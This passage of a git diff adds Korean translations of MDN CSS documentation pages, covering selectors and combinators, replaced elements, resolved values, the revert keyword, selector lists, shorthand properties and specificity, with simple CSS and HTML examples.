+ + + +

그룹 선택자

+ +
+
선택자 목록 A, B
+
A와 B 요소를 모두 선택합니다. 일치하는 여러가지 요소를 선택할 때 사용합니다.
+
+ +

결합자

+ +

결합자는 "AB의 자식", "AB와 인접 요소"처럼, 두 개 이상의 선택자끼리 관계를 형성합니다.

+ +
+
인접 형제 결합자 A + B
+
요소 AB가 같은 부모를 가지며 BA를 바로 뒤따라야 하도록 지정합니다.
+
일반 형제 결합자 A ~ B
+
요소 AB가 같은 부모를 가지며 BA를 뒤따라야 하도록 지정합니다. 그러나 BA의 바로 옆에 위치해야 할 필요는 없습니다.
+
자식 결합자 A > B
+
요소 BA의 바로 밑에 위치해야 하도록 지정합니다.
+
자손 결합자 A B
+
요소 BA의 밑에 위치해야 하도록 지정합니다. 그러나 BA의 바로 아래에 있을 필요는 없습니다.
+
열 결합자 A || B {{experimental_inline}}
+
요소 B가 표의 열 A 안에 위치해야 하도록 지정합니다. 여러 열에 걸친 요소는, 각각의 열 모두에 대해 안쪽에 위치한 것으로 간주합니다.
+
+ +

의사 클래스/요소

+ +
+
의사 클래스 :
+
요소의 특정 상태를 선택합니다.
+
의사 요소 ::
+
HTML이 포함하지 않은 객체를 나타냅니다.
+
+ + + +

개념

+ +

구문과 의미

+ + + +

+ + + +

레이아웃

+ + + +

DOM-CSS / CSSOM

+ +

주요 객체 유형

+ +
    +
  • {{DOMxRef("DocumentOrShadowRoot.styleSheets")}}
  • +
  • {{DOMxRef("StyleSheetList", "styleSheets", "", 1)}}[i].{{DOMxRef("CSSRuleList", "cssRules", "", 1)}}
  • +
  • cssRules[i].{{DOMxRef("CSSRule.cssText", "cssText", "", 1)}} (selector & style)
  • +
  • cssRules[i].{{DOMxRef("CSSStyleRule.selectorText", "selectorText", "", 1)}}
  • +
  • {{DOMxRef("HTMLElement.style")}}
  • +
  • HTMLElement.style.{{DOMxRef("CSSStyleDeclaration.cssText", "cssText", "", 1)}} (just style)
  • +
  • {{DOMxRef("Element.className")}}
  • +
  • {{DOMxRef("Element.classList")}}
  • +
+ +

중요 메서드

+ +
    +
  • {{DOMxRef("CSSStyleSheet.insertRule()")}}
  • +
  • {{DOMxRef("CSSStyleSheet.deleteRule()")}}
  • +
+ +

같이 보기

+ + + +

외부 링크

+ + diff --git a/files/ko/web/css/reference/property_template/index.html b/files/ko/web/css/reference/property_template/index.html new file mode 100644 index 0000000000..9df3680b49 --- /dev/null +++ b/files/ko/web/css/reference/property_template/index.html @@ -0,0 +1,131 @@ +--- +title: Property Template +slug: Web/CSS/Reference/Property_Template +tags: + - CSS + - MDN Meta +translation_of: MDN/Contribute/Howto/Document_a_CSS_property/Property_template +--- +

{{MDNSidebar}}

+ +
+

This is a template page for CSS property. Please use this as a raw template when you create a new CSS property page.
+ Comment in italics are information about how to use part of the template

+
+ +

{{CSSRef}}

+ +

Add the non-standard header if the property is not on the standard track. In the summary section, in a note, describe how to achieve its effect using standard Open Web technologies.

+ +

{{Non-standard_Header}}

+ +

Add the experimental header if in your judgement the property's behavior is likely to change in future, for example because of very immature specifications or competing incompatible implementations.

+ +

{{SeeCompatTable}}

+ +

Description of the property. It must start by "The xyz CSS property" followed by a one-sentence description. The first paragraph of this introduction will be used by default as the description of the page.

+ +
+

Note: Placeholder for any special messages.

+
+ +

But don't add several notes. It should be really important, or be part of the description!

+ +

Syntax

+ +
/* Keyword values */
+property: value1;
+property: value2;
+
+/* <length> values */
+property: 12.8em;   /* A valid length */
+
+/* Global values */
+property: inherit;  /* <-- To remember those are a possible values */
+property: initial;
+property: unset;
+
+ +

The second part of the is a simple translation of the what the formal syntax tells. It is aimed at medium-level users that will not understand well the formal syntax.

+ +

Values

+ +

Each element of the formal syntax must be explained

+ +
+
value_1
+
Is a keyword meaning...
+
value_2 {{Non-standard_Inline}} {{Experimental_Inline}}
+
Is a keyword meaning
+
+ +

Formal syntax

+ +

The formal syntax must be taken from the spec and added to the MDN data repository. It is an important tool to get precise syntax information for advanced users.

+ +
{{CSSSyntax}}
+ +

Examples

+ +

Add this only if there is such an example. No dead link here.

+ +

CSS

+ +
elementName {
+  property: value;
+  thisis: "example";
+  dream: 10000000mm;
+  love: "danger";
+}
+ +

HTML

+ +
<elementName>foo bar</elementName>
+ +

Result

+ +

{{EmbedLiveSample("Examples")}}

+ +

Specifications

+ +

Exclusively use this standard table. Place older spec on the bottom. Use the templates SpecName() for the name and Spec2() for the status. That way, when the spec progress on the standard track, or move, the table content will be automatically adapted.

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Animations", "#fake-link", "fake-value")}}{{Spec2("CSS3 Animations")}}No change from CSS 2.1
{{SpecName("CSS2.1", "#fake-link", "fake value")}}{{Spec2("CSS2.1")}}Initial definition
+ +

{{CSSInfo}}

+ +

Browser compatibility

+ +

(See Compatibility tables for more information)

+ + + +

{{Compat("css.property.property-name")}}

+ +

See also

+ +
    +
  • Links of link of related properties: {{CSSxRef("example-property")}}
  • +
  • Links to article showing how to use the property in context: "Using … article"
  • +
  • Very good external links. Don't be afraid of external links, but they should be outstanding, and not only mention minor details.
  • +
diff --git a/files/ko/web/css/replaced_element/index.html b/files/ko/web/css/replaced_element/index.html new file mode 100644 index 0000000000..8914554a01 --- /dev/null +++ b/files/ko/web/css/replaced_element/index.html @@ -0,0 +1,65 @@ +--- +title: 대체 요소 +slug: Web/CSS/Replaced_element +tags: + - CSS + - Guide + - Layout + - Reference +translation_of: Web/CSS/Replaced_element +--- +
{{CSSRef}}
+ +

CSS대체 요소(replaced element)란 자신의 표현 결과가 CSS의 범위를 벗어나는 요소로서, CSS 서식 모델과는 분리된 외부 객체인 요소입니다.

+ +

간단히 말해서, 대체 요소는 자신의 콘텐츠가 현재 문서 스타일의 영향을 받지 않는 요소라고 할 수 있습니다. CSS는 대체 요소의 위치에 영향을 줄 수 있지만 콘텐츠에는 미치지 못합니다. {{htmlelement("iframe")}} 등 일부 대체 요소는 자신만의 스타일 시트를 가질 수도 있지만, 부모 문서의 스타일을 상속하지는 않습니다.

+ +

CSS가 대체 요소에 영향을 줄 수 있는 다른 유일한 방법은, 일련의 속성을 통해 요소 박스에서 콘텐츠의 위치를 제어하는 것입니다. {{anch("콘텐츠 박스 내부의 객체 위치 제어")}} 항목을 참고하세요.

+ +

대체 요소

+ +

전형적인 대체 요소는 다음과 같습니다.

+ +
    +
  • {{HTMLElement("iframe")}}
  • +
  • {{HTMLElement("video")}}
  • +
  • {{HTMLElement("embed")}}
  • +
  • {{HTMLElement("img")}}
  • +
+ +

일부 요소는 특정한 경우에만 대체 요소로 취급합니다.

+ +
    +
  • {{HTMLElement("option")}}
  • +
  • {{HTMLElement("audio")}}
  • +
  • {{HTMLElement("canvas")}}
  • +
  • {{HTMLElement("object")}}
  • +
+ +

HTML 명세에 따르면 {{htmlelement("input")}} 또한 대체될 수 있습니다. <input> 유형이 "image"인 경우 {{htmlelement("img")}}와 유사한 대체 요소이기 때문입니다. 그러나 다른 유형의 <input>을 포함한 나머지 양식 컨트롤 요소는 비대체 요소라고 명시하고 있습니다. (명세는 양식 요소의 플랫폼별 기본 렌더링을 "위젯"(Widget)이라는 용어로 설명하고 있습니다.)

+ +

CSS {{cssxref("content")}} 속성을 사용해 추가한 객체도 대체 요소로, HTML 마크업에는 존재하지 않기 때문에 "익명" 대체 요소라고 합니다.

+ +

대체 요소와 CSS

+ +

CSS는 바깥 여백이나 일부 auto 값 계산 등 특정 상황에서 대체 요소를 특별히 취급합니다.

+ +

일부 대체 요소는 고유 크기 또는 정의된 기준선을 가질 수 있으며, {{cssxref("vertical-align")}} 등의 CSS 속성이 사용할 수 있습니다. 오직 대체 요소만이 고유 크기를 가질 수 있습니다.

+ +

콘텐츠 박스 내부의 객체 위치 제어

+ +

특정 CSS 속성을 사용하면 대체 요소 내의 객체가 요소의 박스 영역 어디에 배치되어야 하는지 지정할 수 있으며, {{SpecName("CSS3 Images")}}와 {{SpecName("CSS4 Images")}} 명세가 정의하고 있습니다.

+ +
+
{{cssxref("object-fit")}}
+
대체 요소의 콘텐츠 객체를 대체 요소의 박스에 어떻게 맞출지 지정합니다.
+
{{cssxref("object-position")}}
+
대체 요소의 콘텐츠 객체를 정렬하는 방법을 지정합니다.
+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/resolved_value/index.html b/files/ko/web/css/resolved_value/index.html new file mode 100644 index 0000000000..56f04e6495 --- /dev/null +++ b/files/ko/web/css/resolved_value/index.html @@ -0,0 +1,39 @@ +--- +title: 결정값 +slug: Web/CSS/resolved_value +tags: + - CSS + - Reference +translation_of: Web/CSS/resolved_value +--- +
{{cssref}}
+ +

CSS 속성의 결정값은 {{domxref("Window.getComputedStyle", "getComputedStyle()")}}이 반환하는 값입니다.

+ +

속성 대부분은 결정값이 계산값이지만, {{cssxref("width")}}와 {{cssxref("height")}}를 포함한 기존 속성은 사용값입니다. 속성 별 자세한 사항은 아래의 명세를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSSOM", "#resolved-values", "resolved value")}}{{Spec2("CSSOM")}}초기 정의
+ +

같이 보기

+ +
    +
  • {{domxref("window.getComputedStyle")}}
  • +
  • {{CSS_key_concepts}}
  • +
diff --git a/files/ko/web/css/revert/index.html b/files/ko/web/css/revert/index.html new file mode 100644 index 0000000000..9a9a1ce6f7 --- /dev/null +++ b/files/ko/web/css/revert/index.html @@ -0,0 +1,137 @@ +--- +title: revert +slug: Web/CSS/revert +tags: + - CSS + - CSS 속성 + - Cascade + - Style + - 'all:revert' + - revert + - revert style 속성 + - revert 속성 + - 스타일 +translation_of: Web/CSS/revert +--- +
{{CSSRef}}
+ +

revert 는 현재 엘리먼트에 선언 된 캐스캐이딩된 속성으로부터  {{Glossary("style origin")}} 으로 되돌립니다. 부모 속성 또는 user agent에 따라 default로 선언 된 속성으로 되돌리는 것입니다. 이 속성은 css 단축속성{{cssxref("all")}}을 포함한 어떤 프로퍼티에도 적용할 수 있습니다.

+ +
    +
  • 만약 그 사이트만의 css 속성이 지정되어있다면 revert 속성은 유저가 지정한 커스텀 스타일로 롤백합니다.  만약 하나만 존재한다면 user agent의 default 스타일로 돌아가는 것입니다.
  • +
  • 만약 사용자의 커스텀 스타일을 사용하거나 사용자에 의해서 스타일이 적용되어 있다면, revert 는 user agent의 default 스타일로 되돌립니다.
  • +
  • 만약 user agent default 스타일만 지정되어있다면, {{cssxref("unset")}}과 마찬가지의 의미입니다.
  • +
+ +

revert 키워드는 많은 경우에서 unset 과 같은 성질을 가집니다. 한가지 차이점은 user agent에 의한 스타일이냐 유저가 지정한 스타일이냐의 차이입니다.

+ +

Revert 는 자식 요소까지 변경하지는 않습니다. (하지만 자식 요소에 특별히 rule이 지정되어 있지 않다면 적용됩니다.). 그래서 만약에 모든 섹션에  color: green 속성을 지정하고  all: revert 를 사용하면 모든 섹션의 컬러값은 black으로 돌아갈 것입니다. 하지만 만약, 당신이 section 내의 모든 p에 red를 지정했다면 그것들은 red로 유지될 것입니다.

+ +
+

Revert는 단순히 값입니다. 그러므로 revert  또한 다른 specificity값으로 덮어 쓸 수 있습니다.

+
+ +
+

revert 는 {{cssxref("initial")}} 키워드와는 다른데,  initial value 는 프로퍼티 단위의 css 특성화입니다. user-agent의 스타일 시트도 default value로 되돌립니다..

+ +

예를 들어, {{cssxref("display")}} 속성에 대한 initial value 는 inline 입니다. 반면에  {{HTMLElement("div")}} 에 대한 {{cssxref("display")}}  user agent 속성은 block 이고,  {{HTMLElement("table")}} 에 대한 속성은  table 입니다.

+
+ +

예시

+ +

Revert vs unset

+ +

비록 revert 와 unset 은 비슷하지만 몇몇 엘리먼트와 몇몇 속성에서는 다릅니다.

+ +

그래서 아래 예시를 보면, 우리는 font-weight 를 커스텀으로 글로벌 스타일로 지정하였습니다. 그러나 revert와 unset을 시도해보면 다른 결과를 볼 수 있습니다. Unset text를 default로 설정된 normal로 유지합니다. Revert는 user-agent 상에 font-weight인 bold로 돌아갈 것입니다.

+ +
h3 {
+  font-weight: normal;
+  color: blue;
+}
+ +
<h3 style="font-weight: unset; color: unset;">This will still have font-weight: normal, but color: black</h3>
+<p>Just some text</p>
+<h3 style="font-weight: revert; color: revert;">This should have its original font-weight (bold) and color: black</h3>
+<p>Just some text</p>
+ +

{{EmbedLiveSample('Revert_vs_unset')}}

+ +

Revert all

+ +

모든 요소를 revert 하는 것은 당신이 많은 캐스캐이딩에 따른 수정이 있었을 때 default로 돌아가기에 매우 유용합니다. 그래서 font-weight를 리버트 하고 color를 리버트하는 것을 각각 하기보다는 한꺼번에 돌릴 수 있습니다.

+ +
h3 {
+  font-weight: normal;
+  color: blue;
+  border-bottom: 1px solid grey;
+}
+ +
<h3>This will have custom styles</h3>
+<p>Just some text</p>
+<h3 style="all: revert">This should be reverted to browser/user defaults</h3>
+<p>Just some text</p>
+ +

{{EmbedLiveSample('Revert_all')}}

+ +

부모요소에서의 Revert 

+ +

효율적으로 revert 하는 것은 당신이 선택한 속성에 대해서만 해당 속성을 제거하는 것입니다. 우리는 paragraph에 한해서는 red 속성을 지정하고 section에는 darkgreen 을 따로 각각 지정할 수 있습니다.

+ +
section { color: darkgreen }
+p { color: red }
+section.with-revert { color: revert }
+
+ +
<section>
+  <h3>따로 지정되지 않은 h3는 다크 그린</h3>
+  <p>paragraph의 텍스트는 빨강</p>
+  섹션 안의 요소니까 다크 그린.
+</section>
+<section class="with-revert">
+  <h3>revert로 따로 지정되어있지 않았던 h3는 검정</h3>
+  <p>특성화되어있는 paragraph는 그대로 빨강</p>
+  섹션 안의 요소가 revert 되면서 검정
+</section>
+ +

section 요소가 돌아갔음에도 paragraph는 여전히 빨강인 것에 주목하세요. 

+ +

{{EmbedLiveSample('Revert_on_a_parent')}}

+ +

특성

+ + + + + + + + + + + + + + + + +
특성상태비고
{{SpecName('CSS4 Cascade', '#default', 'revert')}}{{Spec2('CSS4 Cascade')}}Initial definition.
+ +

브라우저 호환성

+ +
+
+ + +

{{Compat("css.types.global_keywords.revert")}}

+
+
+ +

요약

+ +
    +
  • initial value를 지정할 때는 {{cssxref("initial")}} 를 사용하세요 .
  • +
  • 초기 속성을 없애거나, 부모 요소에 대한 상속 된 속성을 지정할 때는  {{cssxref("unset")}} 를 사용하세요.
  • +
  • 부모 속성을 지정할 때는 {{cssxref("inherit")}} 를 사용하세요.
  • +
  • {{cssxref("all")}} 속성은 unset, initial, revert, inherit 속성을 한꺼번에 지정할 것입니다.
  • +
diff --git a/files/ko/web/css/selector_list/index.html b/files/ko/web/css/selector_list/index.html new file mode 100644 index 0000000000..6d45de9430 --- /dev/null +++ b/files/ko/web/css/selector_list/index.html @@ -0,0 +1,101 @@ +--- +title: 선택자 목록 +slug: Web/CSS/Selector_list +tags: + - CSS + - Reference + - Selectors + - 선택자 +translation_of: Web/CSS/Selector_list +--- +
{{CSSRef}}
+ +

CSS 선택자 목록(,)은 일치하는 모든 요소를 선택합니다.

+ +
/* 모든 span과 div 요소 선택 */
+span,
+div {
+  border: red 2px solid;
+}
+ +

다수의 선택자를 쉼표 구분 목록에 넣어 스타일 시트 크기를 줄일 수 있습니다.

+ +

구문

+ +
element, element, element { style properties }
+ +

예제

+ +

한 줄 묶기

+ +

쉼표로 구분한 목록을 한 줄에 배치할 수 있습니다.

+ +
h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
+
+ +

여러 줄 묶기

+ +

쉼표로 구분한 목록을 여러 줄에 배치할 수도 있습니다.

+ +
#main,
+.content,
+article {
+  font-size: 1.1em;
+}
+
+ +

선택자 목록 무효화

+ +

선택자 목록의 단점은, 다음의 두 경우가 서로 같지 않다는 점입니다.

+ +
h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }
+ +
h1, h2:maybe-unsupported, h3 { font-family: sans-serif }
+ +

왜냐하면 목록 내의 하나의 선택자라도 브라우저가 지원하지 않으면 전체 목록을 무효화하기 때문입니다.

+ +

대응 방법은 {{CSSxRef(":is", ":is()")}} 선택자를 사용하는 것을 통해, 유효하지 않은 선택자를 무시하는 것입니다. 그러나 :is()가 명시도를 계산하는 방법으로 인해, 모든 선택자가 동일한 명시도를 갖게 되는 부작용이 있습니다.

+ +
h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }
+ +
:is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif }
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#grouping", "Selector Lists")}}{{Spec2("CSS4 Selectors")}}Renamed to "selector list"
{{SpecName('CSS1', '#grouping', 'grouping')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.list")}}

+ +

같이 보기

+ +
    +
  • 선택자 목록 무효화라는 과거의 실수를 가지지 않는 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}, {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} 의사 클래스.
  • +
diff --git a/files/ko/web/css/shorthand_properties/index.html b/files/ko/web/css/shorthand_properties/index.html new file mode 100644 index 0000000000..26075c0be4 --- /dev/null +++ b/files/ko/web/css/shorthand_properties/index.html @@ -0,0 +1,156 @@ +--- +title: 단축 속성 +slug: Web/CSS/Shorthand_properties +tags: + - CSS + - Guide + - Layout + - Reference + - Web + - 단축 속성 +translation_of: Web/CSS/Shorthand_properties +--- +
{{cssref}}
+ +

단축 속성은 서로 다른 여러 가지 CSS 속성의 값을 지정할 수 있는 CSS 속성입니다. 단축 속성을 사용하면 간결한 (그리고 읽기도 좋은) 스타일 시트를 작성해 시간과 체력을 아낄 수 있습니다.

+ +

CSS 명세는 같은 주제를 가진 여러 공통 속성을 묶기 위해 단축 속성을 정의합니다. 가령 CSS {{cssxref("background")}} 속성은 {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, {{cssxref("background-position")}} 값을 정의할 수 있는 단축 속성입니다. 마찬가지로, 가장 흔히 쓰이는 글꼴 관련 속성은 {{cssxref("font")}} 단축 속성으로, 박스 주위의 바깥 여백은 {{cssxref("margin")}} 단축 속성으로 지정할 수 있습니다.

+ +

까다로운 예외상황

+ +

단축 속성은 사용하기 매우 편리하지만, 염두해야 할 예외상황이 몇 가지 있습니다.

+ +
    +
  1. 단축 속성에 지정하지 않은 값은 초깃값이 됩니다. 별거 아닌 듯 보일 수 있지만, 사실 이전에 정의한 값도 초깃값으로 재정의합니다. 따라서, + +
    background-color: red;
    +background: url(images/bg.gif) no-repeat top right;
    +
    + 을 적한 요소의 배경 색은 red가 아니라, {{cssxref("background-color")}}의 기본값인 transparent가 됩니다. 두 번째 규칙이 우선하기 때문입니다.
  2. +
  3. 개별 속성값만 상속할 수 있습니다. 빠진 값에는 초깃값을 대입하므로, 어떤 속성의 값을 상속받고자 단축 속성의 해당 부분을 비우는 것은 불가능합니다. inherit 키워드 역시 속성 값으로 온전히 사용해야 하며 값의 일부(red inherit top right처럼)로는 사용할 수 없습니다. 따라서 어떤 속성을 상속하고 싶다면 inherit을 지정한 본디 속성(longhand property)을 추가할 수밖에 없습니다.
  4. +
  5. 단축 속성은 값의 순서를 되도록 제한하지 않습니다. 특히 각 값의 자료형이 서로 다르면 순서가 중요하지 않습니다. 하지만 일부 속성이 동일한 자료형의 값을 가질 수 있을 때는 잘 동작하지 않습니다. 이런 경우의 처리는 여러 범주로 나뉩니다: +
      +
    1. {{cssxref("border-style")}}, {{cssxref("margin")}}, {{cssxref("padding")}}처럼 박스의 모서리와 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 모서리를 가리키는 1~4 값 구문을 사용합니다: + + + + + + + + + + + + + + + + + + + +
      border1.png1개 값 구문: border-width: 1em — 유일한 값이 모든 변을 나타냅니다.
      border2.png2개 값 구문: border-width: 1em 2em — 첫 번째 값은 세로(상하)변을, 두 번째는 가로(좌우)변을 나타냅니다.
      border3.png3개 값 구문: border-width: 1em 2em 3em — 첫 번째 값은 상변을, 두 번째는 가로변, 세 번째는 하변을 나타냅니다.
      border4.png +

      4개 값 구문: border-width: 1em 2em 3em 4em — 네 값이 각각 상, 우, 하, 좌변을 나타냅니다. 상변에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.

      +
      +
    2. +
    3. 비슷하게, {{cssxref("border-radius")}} 같은 박스의 꼭짓점과 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 꼭짓점을 가리키는 1-4-값 구문을 사용합니다: + + + + + + + + + + + + + + + + + + + +
      corner1.png1개 값 구문: border-radius: 1em — 유일한 값이 모든 귀를 나타냅니다.
      corner2.png2개 값 구문: border-radius: 1em 2em — 첫 번째 값은 좌상 및 우하귀, 두 번째는 우상 및 좌하귀를 나타냅니다.
      corner3.png3개 값 구문: border-radius: 1em 2em 3em — 첫 번째 값은 좌상귀, 두 번째는 우상 및 좌하귀, 세 번째 값은 우하귀를 나타냅니다.
      corner4.png +

      4개 값 구문: border-radius: 1em 2em 3em 4em — 네 값은 각각 좌상, 우상, 우하 및 좌하귀를 나타냅니다. 좌상귀에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.

      +
      +
    4. +
    +
  6. +
+ +

배경 속성

+ +

아래와 같은 속성을 가지는 배경은...

+ +
background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;
+ +

다음과 같이 선언 단 하나를 사용해서 단축할 수 있습니다.

+ +
background: #000 url(images/bg.gif) no-repeat top right;
+ +

(단축 형은 실제로 background-attachment: scroll 및 CSS3의 일부 부가 속성이 더해진 위 본디 속성과 같습니다.)

+ +

{{cssxref("background")}}에서 CSS3 속성을 포함한 더 자세한 정보를 확인할 수 있습니다.

+ +

글꼴 속성

+ +

아래와 같은 속성을 가지는 글꼴은...

+ +
font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;
+ +

다음처럼 단축할 수 있습니다.

+ +
font: italic bold .8em/1.2 Arial, sans-serif;
+ +

이 단축 선언은 실제로 font-variant: normalfont-size-adjust: none (CSS2.0 / CSS3), font-stretch: normal (CSS3)이 더해진 위 본디 속성과 같습니다.

+ +

테두리 속성

+ +

테두리의 너비, 색상, 스타일을 하나의 선언으로 단축할 수 있습니다. 즉 아래와 같은 CSS를...

+ +
border-width: 1px;
+border-style: solid;
+border-color: #000;
+ +

다음처럼 단축할 수 있습니다.

+ +
border: 1px solid #000;
+ +

여백 속성

+ +

바깥과 안쪽 여백의 단축 속성도 똑같이 동작합니다. 바깥 여백, margin 속성은 한 개, 두 개, 세 개, 네 개의 값을 사용해 지정합니다. 아래 CSS 선언은...

+ +
margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;
+ +

다음의 네 값 구문 단축 속성을 사용한 선언과 같습니다. 방향이 시계 방향임을 기억하세요. 각 값은 위, 오른쪽, 아래, 왼쪽을 나타냅니다.

+ +
margin: 10px 5px 10px 5px;
+ +

바깥 여백의 한 개, 두 개, 세 개, 네 개 값 선언 규칙은 다음과 같습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 여백을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 여백을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 여백을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 여백을 지정합니다. (시계방향)
  • +
+ +

같이 보기

+ +
    +
  • 단축 속성: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}
  • +
diff --git a/files/ko/web/css/specificity/index.html b/files/ko/web/css/specificity/index.html new file mode 100644 index 0000000000..609f319daa --- /dev/null +++ b/files/ko/web/css/specificity/index.html @@ -0,0 +1,331 @@ +--- +title: 명시도 +slug: Web/CSS/Specificity +tags: + - CSS + - Example + - Guide + - Reference + - Web +translation_of: Web/CSS/Specificity +--- +
{{cssref}}
+ +

명시도란 브라우저가 어느 요소와 가장 연관된 속성을 찾는 수단으로, 이렇게 찾은 속성이 해당 요소에 적용됩니다. 명시도는 여러 종류의 CSS 선택자로 구성된 일치 규칙에 기반합니다.

+ +

어떻게 계산되는가?

+ +

명시도는 주어진 CSS 선언에 적용되는 가중치(weight)로, 일치하는 선택자 내 각 선택자 유형의 수에 의해 결정됩니다. 여러 선언이 명시도가 같은 경우, CSS에서 맨 끝에 오는 선언이 요소에 적용됩니다. 명시도는 같은 요소가 여러 선언의 대상이 되는 경우에만 적용합니다. CSS 규칙에 따라 직접 대상 요소는 요소가 부모로부터 상속받는 규칙보다 항상 우선합니다.

+ +
주의: 문서 트리 내 요소의 근접도(proximity, 가까움)는 명시도에 영향이 없습니다.
+ +

선택자 유형

+ +

아래 선택자는 유형별로 명시도를 증가시킵니다.

+ +
    +
  1. 유형 선택자(h1 등) 및 의사 요소(:before 등).
  2. +
  3. 클래스 선택자(.example 등), 속성 선택자([type="radio"] 등), 의사 클래스(:hover 등).
  4. +
  5. ID 선택자(#example 등).
  6. +
+ +

전역 선택자({{cssxref("Universal_selectors", "*")}}), 조합자({{CSSxRef("Adjacent_sibling_combinator", "+")}}, {{CSSxRef("Child_combinator", ">")}}, {{CSSxRef("General_sibling_combinator", "~")}}, ' ', {{CSSxRef("Column_combinator", "||")}}) 및 부정 의사 클래스(:not())는 명시도에 영향을 주지 않습니다. (:not() 내부에 선언한 선택자는 영향을 끼칩니다)

+ +

https://specifishity.com에서 자세한 정보를 확인할 수 있습니다.

+ +

요소에 추가한 인라인 스타일(style="font-weight: bold"처럼)은 항상 외부 스타일시트의 모든 스타일을 덮어쓰므로 가장 높은 명시도를 갖는 것으로 생각할 수 있습니다.

+ +

!important 예외

+ +

!important 규칙이 스타일 선언에 사용된 경우, 이 선언은 다른 선언보다 우선합니다. 엄밀히 말해 !important 자체는 명시도와 아무 관련이 없지만, 명시도에 직접 영향을 미칩니다. 그러나 !important 사용은 나쁜 습관이고 스타일시트 내 자연스러운 종속을 깨뜨려 디버깅을 더 어렵게 만들기에 피해야 합니다. !important 규칙으로 충돌하는 두 선언이 같은 요소에 적용된 경우, 더 큰 명시도를 갖는 선언이 적용됩니다.

+ +

몇몇 경험 법칙들:

+ +
    +
  • 항상 !important를 고려하기도 전에 명시도를 활용할 방법을 찾아보세요.
  • +
  • 외부 CSS(Bootstrap 또는 Normalize.css 같은 외부 라이브러리에서)를 재정의하는 페이지 전용 CSS에 !important를 쓰세요.
  • +
  • 플러그인/매시업을 작성할 때 !important절대 쓰지 마세요.
  • +
  • 사이트 전반 CSS에는 !important절대 쓰지 마세요.
  • +
+ +

!important를 사용하는 대신에, 다음을 고려하세요:

+ +
    +
  1. CSS 종속cascading을 더 잘 활용하세요.
  2. +
  3. +

    더 명시된(명확한) 규칙을 쓰세요. 선택 중인 요소 앞에 하나 이상의 요소를 나타냄으로써 규칙은 더 명확해지고 더 높은 우선 순위를 얻습니다:

    + +
    <div id="test">
    +  <span>Text</span>
    +</div>
    +
    + +
    div#test span { color: green; }
    +div span { color: blue; }
    +span { color: red; }
    + +

    순서와 무관하게 첫 번째 규칙이 가장 명확하므로 텍스트는 녹색이 됩니다. (또한, 역시 순서와 무관하게 파란색 규칙이 빨간색 규칙보다 우선합니다.)

    +
  4. +
  5. (2)의 말도 안 되는 특별한 경우로, 더 이상 명시할 요소가 없는 경우 간단한 선택자를 여러 번 써서 명시도를 높일 수 있습니다. +
    #myId#myId span { color: yellow; }
    +.myClass.myClass span { color: orange; }
    +
  6. +
+ +

!important를 사용하는 때

+ +
A) 인라인 스타일을 재정의할 때
+ +

사이트 전체의 시각적 요소를 설정하는 전역 CSS 파일은 각 요소에 직접 정의된 인라인 스타일에 덮어쓰일 수 있습니다. 인라인 스타일과 !important 모두 매우 나쁜 습관으로 취급되지만, 가끔씩은 !important로 인라인 스타일을 덮어써야 할 때가 있습니다.

+ +

이때는 전역 CSS 파일의 몇몇 스타일을 !important로 설정해서 요소에 직접 작성한 인라인 스타일을 덮어쓸 수 있습니다.

+ +
<div class="foo" style="color: red;">나는 무슨 색일까?</div>
+
+ +
.foo[style*="color: red"] {
+  color: firebrick !important;
+}
+
+ +

여러 자바스크립트 프레임워크와 라이브러리에서 인라인 스타일을 추가합니다. 이런 인라인 스타일을 덮어쓸 때 매우 구체적인 선택자와 함께 !important를 사용할 수 있습니다.

+ +
B) 명시도가 높은 규칙을 재정의할 때
+ +
#someElement p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}
+ +

어떻게 하면 awesome 문단이 #someElement 안에 있더라도 항상 빨갛게 만들 수 있을까요? !important를 사용하지 않으면 위쪽 규칙의 명시도가 높으므로 아래쪽 규칙보다 우선합니다.

+ +

!important를 덮어쓰는 방법

+ +

